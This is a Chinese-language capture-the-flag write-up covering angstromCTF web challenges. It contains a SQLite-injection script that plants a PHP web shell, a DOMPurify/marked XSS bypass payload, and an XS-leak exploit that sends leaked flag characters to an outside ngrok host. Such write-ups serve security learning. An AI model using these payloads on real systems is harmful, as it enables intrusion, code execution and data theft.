上一次单挑打angstormCTF 已经是一年多以前的事了,当时记得有质量挺不错的前端web题,不过很可惜没能ak。 这次趁着最近比较闲,正好单挑ak掉web题,加上有2道题质量还不错, 这里简单记录下
The Flash
前端js代码加了混淆,显示出的文字是假的flag, 但是正如题目名flash一样,真正的flag似乎会间隔性的一闪而过。所以直接写个定时就好
setInterval(()=> console.log(flash.textContent), 50)
Auth Skip
通过无签名的cookie鉴权,所以带上cookie访问
crumbs
flag在url为某个uuid的页面。而初始所有页面的uuid值会按链表一样被存储起来回显给我们下一个结点。
所以写个脚本跟随内容里的uuid作为url就行。
Xtra Salty Sardines
String.prototype.replace
的经典误用。由于replace
第一个参数是被设计为传递正则的,那么如果只是传递字符串的话就无法做到把整个字符串里所有匹配的字符全部清掉,而是只清理掉第一次出现的匹配字符。所以<>'&aaa<script>alert(1)</script>
就能直接xss了。
Art Gallery
给了个任意文件下载。加上题目提示说.git
。所以多半是直接把.git拿下来回滚。这个github上随便找一个gitdump的项目改下就好了。最后回滚到初始commit拿到flag.txt
School Unblocker
简而言之就是利用node-fetch
的重定向来ssrf.此处是一个POST
=> POST
的场景,参考p牛的文章 用307状态码就可以解决。
Secure Vault
比较类似UAF的场景。题目提供了注册登录注销等功能以及使用jwt token作为鉴权,即根据token里的id去内存数据库里找对应的用户。但是如果找不到的话则返回{}
.而只要用{}.restricted == undefined
就能拿到flag.所以注销自己的用户后,用刚刚的token访问下/vault
就行了。
No Flags
这次所有web题里唯一可以rce的题(划重点)。
sqlite数据库的堆叠注入 + php => web shell
import requests
url = "https://no-flags.web.actf.co/"
PAYLOAD = """flag{begins}');ATTACH DATABASE '/var/www/html/abyss/test.php' AS byctest;CREATE TABLE byctest.wtf (dataz text);INSERT INTO byctest.wtf (dataz) VALUES ('<?php system("/printflag"); ?>');INSERT INTO Flags VALUES ('flag{success"""
resp = requests.post(url, data={
"flag": PAYLOAD
})
print(resp.text)
resp = requests.get(f"{url}/abyss/test.php")
print(resp.text)
Cliche
本题的场景其实很有意思,首先看下代码:
...
<title>HackerMD</title>
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
...
<script>
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>
给了一个裸的dom xss. 不过同时存在Dompurify以及marked, 都是最新版本,最终将用户输入的文字进行markdown 转 html。但是可以注意到,这里marked.parse
与DomPurify.sanitize
的顺序似乎不太对劲?正常来讲,DOMPurify
放到最后一步来对html内容进行处理是比较合理的,既然此处是先用来处理用户输入,必然存在某些绕过手段。
首先我们来考虑下,如果单纯对marked
进行攻击,要如何xss?
比较典型的markdown xss 的payload构造如[xss](javascript:alert(1))
虽然对marked而言是可行的。不过由于需要one click,肯定不会出现在CTF题目中。考虑到这点,加上markdown 本身也支持html, 直接塞一个html code就行
marked.parse('### 213<img src=x onerror=alert(1)>')
//'<h3 id="213">213<img src=x onerror=alert(1)></h3>\n'
但是问题随之而来。 如果像这样塞xss代码的话,前一步的DOMPurify
就会先把onerror
属性处理掉。功亏一篑。
考虑到marked 作为一个star数上万的大项目,基本不可能有新的构造xss的方式。而DOMPurify
从去年下半年开始也基本就没有出现新的绕过。那么此处大致可以考虑排除依赖的绕过手段。此时很自然可以考虑,有没有办法利用二者的差异性,让最终输出塞进一个带onerror
属性的img tag就好了。
具体地说,有没有这样的情况,使得形如<img src=x on[BLANK]error=alert(1)>
的payload首先绕过DOMPurify
的检查,并且其中[BKANK]
会被marked处理掉,从而实现绕过的目的呢?
在翻看了一下markdown 的标准后,注意到:
https://spec.commonmark.org/0.30/#example-174
可以看到\n>
作为blockquote的用法,它会去把所有以其为开头后续的字符放到<blockquote>
中包裹。那么这不正好符合我们的需求,即让marked
处理掉payload其中部分字符么?
剩下就只有一个小问题了。DOMPurify
处理输入时,往往会把未匹配的<
,>
,\n
等字符进行转义或者清除。所以我们要把这些字符塞进一个不会被转义的地方。放到一个html tag的属性里面即可。
DOMPurify.sanitize('### 213<img src="aaa>\n<>" >')
// '### 213<img src="aaa>\n<>">'
DOMPurify.sanitize('### 213<img src="aaa>\n<>" <><')
'### 213<img src="aaa>\n<>"><'
简单试验下:
marked.parse('### 213<img src="\n><THIS IS ESCAPED>"')
//'<h3 id="213img-src">213<img src="</h3>\n<blockquote>\n<p><THIS IS ESCAPED>"</p>\n</blockquote>\n'
最终payload:
marked.parse(DOMPurify.sanitize('### 123<img src="a\n><img src=x onerror=alert(1)>\n>">'))
//'<h3 id="123img-srca">123<img src="a</h3>\n<blockquote>\n<img src=x onerror=alert(1)>\n"></blockquote>\n'
当然这题还有很多其他做法,感兴趣的可以继续探索下 :)
Sustenance
本题的核心代码其实很简单,但是做起来花了好久。。。
const adminSecret = process.env.ADMIN_SECRET || "secretpw";
const flag =
process.env.FLAG ||
"actf{someone_is_going_to_submit_this_out_of_desperation}";
function queryMiddleware(req, res, next) {
res.locals.search =
req.cookies.search || "the quick brown fox jumps over the lazy dog";
// admin is a cool kid
if (req.cookies.admin === adminSecret) {
res.locals.search = flag;
}
next();
}
app.use(cookieParser());
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
app.post("/s", (req, res) => {
if (req.body.search) {
for (const [name, val] of Object.entries(req.body)) {
res.cookie(name, val, { httpOnly: true });
}
}
res.redirect("/");
});
app.get("/q", queryMiddleware, (req, res) => {
const query = req.query.q || "h"; // h
let status;
if (res.locals.search.includes(query)) {
status =
"succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
} else {
status = "failed";
}
res.redirect(
"/?m=" +
encodeURIComponent(
`your search that took place at ${Date.now()} has ${status}`
)
);
});
可以看到基本就是一个xsleak的场景。但是条件可以说相当苛刻。假如只考虑/q
路由的search功能,最终搜索到与未搜索到只有url长度的区别。最终反映到前端上加载的资源也没有变化,用缓存或者用performance
来探测都不太可行的样子。
但是注意到此处还剩下一个/s
路由, 可以做到通过req.body任意设置cookie 的name与value.那么有什么用呢?这里一开始的想法是,利用任意设置cookie的name,value的场景与我曾经见过的一个场景类似。曾经go的1.15版本左右,用于设置header的函数没有过滤<name-value>
键值对中的name,导致前者可控的情况下可以塞入\r\n
造成CRLF.不过此处看了下express的实现,是借用正则检查了name
并把value
用encodeURICompenent()
处理了。所以肯定没法CRLF.
那么设置cookie有什么用呢?我又仔细看了下express的代码,发现倒是可以通过name: ABC=test; SameSite=None; Secure; Path=/; A
, value: 1
的手段,把所设置的cookie的samesite属性改动下。加上我们xsleak 必定是cross-origin的,说明这个手段肯定是有用的,也就是跨域了也能通过非top-level navigation
带上自定义的cookie请求.
如果cookie是这个用处的话,考虑到我们现在需要一种方法来跨域地分辨搜索的结果,那么只能考虑通过Error event
来探测了。
这个在xsleaks wiki 也有收录 https://xsleaks.dev/docs/attacks/error-events/
换句话说现在我们要用cookie来触发错误事件。由于/q
处搜索结果根据正确与否,url长度是不同的,那么我们是否可以利用cookie来增加请求的长度,使其接近阈值。如果搜到了匹配字符,其更长的url加上cookie的请求会使得页面报错,而未搜到结果的url+cookie 不会导致报错呢?
经过简单的实验我发现这是可行的,假如cookie够多,配上一定长度的url,会使当前站触发一个413 的状态码。这实际上就是早年就已出现的一种名为cookie bomb的DOS攻击手法。这样我们就有了xsleak的手段了!
这里首先写一个加cookie的表单
<!-- csrf.html -->
<form action="https://sustenance.web.actf.co/s" method="POST" id="form">
<input name='search' value='test'>
<input id="A" name='' value='1'>
</form>
<script>
let num = location.search;
num = num.substring(1);
if (num!="5") {
document.getElementById("A").name = `${num}=${"A".repeat(3765)}; SameSite=None; Secure; Path=/; A`;
} else {
document.getElementById("A").name = `${num}=${"A".repeat(475)};SameSite=None; Secure; Path=/; A`;
}
form.submit();
</script>
由于每次提交的body长度有限,我试了下大概提交5次就可以让cookie长度接近一个阈值了,其中最后一个cookie值可以稍微少一点。
然而此时我意识到一个问题,我们看下题目获取flag的代码
if (req.cookies.admin === adminSecret) {
res.locals.search = flag;
}
也就是说,必须要有admin的cookie才能保证搜的结果是在与flag相匹配。但是假如我们假设admin-bot的cookie配置就是最朴素的admin=xxxxxx
的话,其SameSite
属性默认是为Lax
的。而Lax
修饰的cookie只有在发生top-level navigation
的情况下才会跨域传递。简单说就是只有当浏览器url输入栏的值发生变化才会跨域传递它,包括但不限于window.open
打开页面以及form 表单提交等情况。
假如我们是使用 xsleak 常规的探测error的方法的话,虽然bot会带上我们先前设置的cookie,但是却没办法带上自己的admin cookie。导致匹配的内容不是flag…….
function probeError(url) {
let script = document.createElement('script');
script.src = url;
script.onload = () => console.log('Onload event triggered');
script.onerror = () => console.log('Error event triggered');
document.head.appendChild(script);
}
// because google.com/404 returns HTTP 404, the script triggers error event
probeError('https://sustenance.web.actf.co/q?q=actf');
到这一步我卡了快一天左右,因为按照上面的思路,只有window.open('https://sustenance.web.actf.co/q?q=actf')
的情况才能保证搜的是flag.否则肯定不可行。然而搜了很久也没法找到用window来跨域探测状态的情况。此时便陷入僵局了。
此时我开始考虑admin的cookie会不会被设置为samesite 为none的情况了。但是这种特殊情况基本不太可能。如果真的是samesite 为Lax的默认情况,想要cookie能够在probeError
时被传递,我必须部署自己的html到这个站或者旁站上去。。。。。。
等下,此时我突然想起之前所做的题目No flags
是已经rce的,而那一道题目可以传webshell,即可以部署文件上去。而本题和该题的url分别是:https://sustenance.web.actf.co/
, https://no-flags.web.actf.co/
。
我们知道,samesite是比same-origin
更弱一点的概念。且samesite 与否看的是registrable Domain
的概念。此处可以参考 https://blog.huli.tw/2022/01/16/same-site-to-same-origin-document-domain/#%E7%B4%B0%E7%A9%B6-same-site。 简而言之,除非是github.io
这种被public suffix list
收录的域名,否则两个同级的子域名https://sustenance.web.actf.co/
, https://no-flags.web.actf.co/
肯定是samesite的!
所以最后我通过把自己的两个poc部署到no-flags的服务器上去,成功拿到了flag 😉.
poc.html
<body>
<iframe src="https://deelay.me/999999/http://example.com"></iframe>
</body>
<script>
async function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function search(url) {
return await new Promise((resolve, reject) => {
let script = document.createElement("script");
script.src = url;
script.onload = resolve;
script.onerror = reject;
document.body.appendChild(script);
})
}
async function oracle(url) {
try {
await search(url);
return true;
} catch (err) {
return false;
}
}
async function exploit() {
let windows = []
for (let i = 1; i <= 5; i++) {
temp = window.open(`./csrf.html?${i}`)
await sleep(50);
windows.push(temp)
}
await sleep(3000)
for (let x of windows) {
x.close()
}
let flag = "ctf{yummy_sustenanc"
while (!flag.endsWith("}")) {
for (let ch of "{}_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") {
let url = "https://sustenance.web.actf.co/q?q=a" + flag + ch;
let result = await oracle(url);
if (!result) {
flag += ch;
fetch(`https://8a1e-82-157-177-169.ngrok.io/?${encodeURIComponent(flag)}`, { mode: 'no-cors' })
break
}
}
}
}
exploit();
</script>
csrf.html同上。当然,最后这个部署到其他题目上的做法也不需要给cookie加上samesite=None
了,不过不影响解题。
当然赛后看到Water Paddler 的队友huli有cache probing 的做法,膜一手。https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722
summary
总的来说,angstormCTF 作为一个面向高中生的CTF真的非常不错。题目质量可以,梯度合理,也有如cliche
,Sustenance
这种值得花时间去思考的题目。无怪其CTFtime评分这么高了。另外js web题对我而言从各种角度来说都是真的对胃口 :)